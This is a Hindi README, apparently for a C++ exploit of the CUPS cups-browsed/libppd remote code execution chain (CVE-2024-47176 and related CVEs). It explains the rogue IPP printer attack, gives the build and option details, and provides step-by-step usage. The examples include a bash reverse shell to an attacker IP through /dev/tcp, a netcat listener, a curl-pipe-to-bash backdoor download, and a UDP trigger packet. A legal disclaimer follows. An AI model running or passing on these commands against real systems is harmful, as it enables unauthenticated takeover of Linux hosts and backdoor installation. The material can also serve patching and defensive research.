
C++ शोषण, CUPS पर CVE-2024-47176 श्रृंखला के माध्यम से अप्रमाणित रिमोट कोड निष्पादन के लिए।
सितंबर 2024 में खोजी गई CUPS (कॉमन यूनिक्स प्रिंटिंग सिस्टम) रिमोट कोड निष्पादन भेद्यता श्रृंखला को लक्षित करने वाला एक पूर्ण कार्यात्मक प्रूफ-ऑफ-कॉन्सेप्ट शोषण। इस श्रृंखला में चार CVE शामिल हैं — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, और CVE-2024-47177 — जो एक साथ एक अप्रमाणित दूरस्थ हमलावर को CUPS के कमजोर संस्करण चलाने वाले किसी भी Linux सिस्टम पर मनमाने आदेश निष्पादित करने की अनुमति देते हैं।
शोषण एक दुष्ट IPP (इंटरनेट प्रिंटिंग प्रोटोकॉल) सर्वर तैनात करता है जो एक नेटवर्क प्रिंटर की नकल करता है। हमला चार चरणों में सामने आता है:
चरण 1 — खोज ट्रिगर लक्ष्य के पोर्ट 631 पर एक क्राफ्टेड UDP पैकेट भेजा जाता है। cups-browsed डेमॉन बिना प्रमाणीकरण के इस पैकेट पर भरोसा करता है और प्रिंटर विशेषताओं को लाने के लिए हमलावर के IPP सर्वर पर वापस TCP कनेक्शन शुरू करता है।
चरण 2 — दुर्भावनापूर्ण PPD वितरण हमलावर का IPP सर्वर प्रिंटर विशेषताओं के साथ प्रतिक्रिया करता है जिसमें अशुद्ध डेटा होता है। यह डेटा libcupsfilters और libppd के माध्यम से प्रवाहित होता है जो इनपुट को मान्य या साफ करने में विफल रहते हैं, जिससे एक दुर्भावनापूर्ण FoomaticRIPCommandLine निर्देश को PPD फ़ाइल में एम्बेड किया जा सकता है।
चरण 3 — कमांड इंजेक्शन जब हमलावर-नियंत्रित प्रिंटर पर एक प्रिंट कार्य भेजा जाता है (स्वचालित रूप से या उपयोगकर्ता क्रिया द्वारा), तो foomatic-rip फ़िल्टर PPD फ़ाइल को संसाधित करता है और lp उपयोगकर्ता के विशेषाधिकारों के साथ इंजेक्ट किए गए कमांड को निष्पादित करता है।
चरण 4 — पेलोड निष्पादन इंजेक्ट किया गया कमांड लक्ष्य प्रणाली पर चलता है। सामान्य पेलोड में रिवर्स शेल, बैकडोर इंस्टॉलेशन, डेटा एक्सफ़िल्ट्रेशन, या विशेषाधिकार वृद्धि मंचन शामिल हैं।
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
अधिकांश Linux वितरण 2024 के अंत तक पैच तक प्रभावित संस्करणों के साथ भेजे गए।
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
कोई बाहरी निर्भरता नहीं। किसी भी Linux वितरण पर g++ के साथ संकलित होता है।
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener दुष्ट IPP सर्वर के लिए हमलावर का IP पता -r, --reverse लक्ष्य पर निष्पादित करने के लिए कमांड, या स्क्रिप्ट फ़ाइल का पथ -t, --target लक्ष्य मशीन का IP (स्वचालित रूप से UDP ट्रिगर पैकेट भेजता है) -p, --port दुष्ट IPP सर्वर के लिए पोर्ट (डिफ़ॉल्ट: 631) -s, --spoof प्रिंटर स्पूफ़ नाम (डिफ़ॉल्ट: VulnPrinter) -T, --target-port लक्ष्य UDP पोर्ट (डिफ़ॉल्ट: 631) -h, --help सहायता संदेश दिखाएँ
टर्मिनल 1 — श्रोता प्रारंभ करें: nc -lvnp 4444
टर्मिनल 2 — शोषण चलाएँ: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
टर्मिनल 1 — सर्वर प्रारंभ करें: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
टर्मिनल 2 — लक्ष्य पर UDP ट्रिगर भेजें: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
चरण 1: अपने हमलावर मशीन पर एक netcat श्रोता सेट अप करें nc -lvnp 4444
चरण 2: शोषण संकलित करें g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
चरण 3: लक्ष्य के विरुद्ध शोषण चलाएँ ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
चरण 4: यदि लक्ष्य मशीन पर कोई उपयोगकर्ता दुष्ट प्रिंटर पर एक परीक्षण पृष्ठ या कोई दस्तावेज़ प्रिंट करता है, तो आपको lp उपयोगकर्ता के रूप में एक रिवर्स शेल प्राप्त होगा।
कानूनी सूचना
यह सॉफ़्टवेयर केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। यह सुरक्षा पेशेवरों, पैठ परीक्षकों और सिस्टम प्रशासकों को वर्णित कमजोरियों को समझने, पहचानने और उनसे बचाव करने में मदद करने के लिए है।
इस शोषण का अनधिकृत उपयोग उन सिस्टमों के विरुद्ध जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है और यह कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट और अन्य न्यायक्षेत्रों में समान कानूनों का उल्लंघन कर सकता है।
अधिकृत उपयोग के मामलों में स्वामित्व वाले सिस्टम पर सुरक्षा आकलन, लिखित प्राधिकरण के साथ पैठ परीक्षण, स्पष्ट दायरे वाले बग बाउंटी कार्यक्रम, नियंत्रित प्रयोगशाला वातावरण में शैक्षणिक अनुसंधान, और CTF प्रतियोगिताएँ शामिल हैं।
लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है। उपयोगकर्ता सभी लागू कानूनों का अनुपालन करने और परीक्षण से पहले उचित प्राधिकरण प्राप्त करने के लिए पूरी तरह जिम्मेदार हैं।
इस सॉफ़्टवेयर का उपयोग करके, आप इन शर्तों को स्वीकार करते हैं।
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org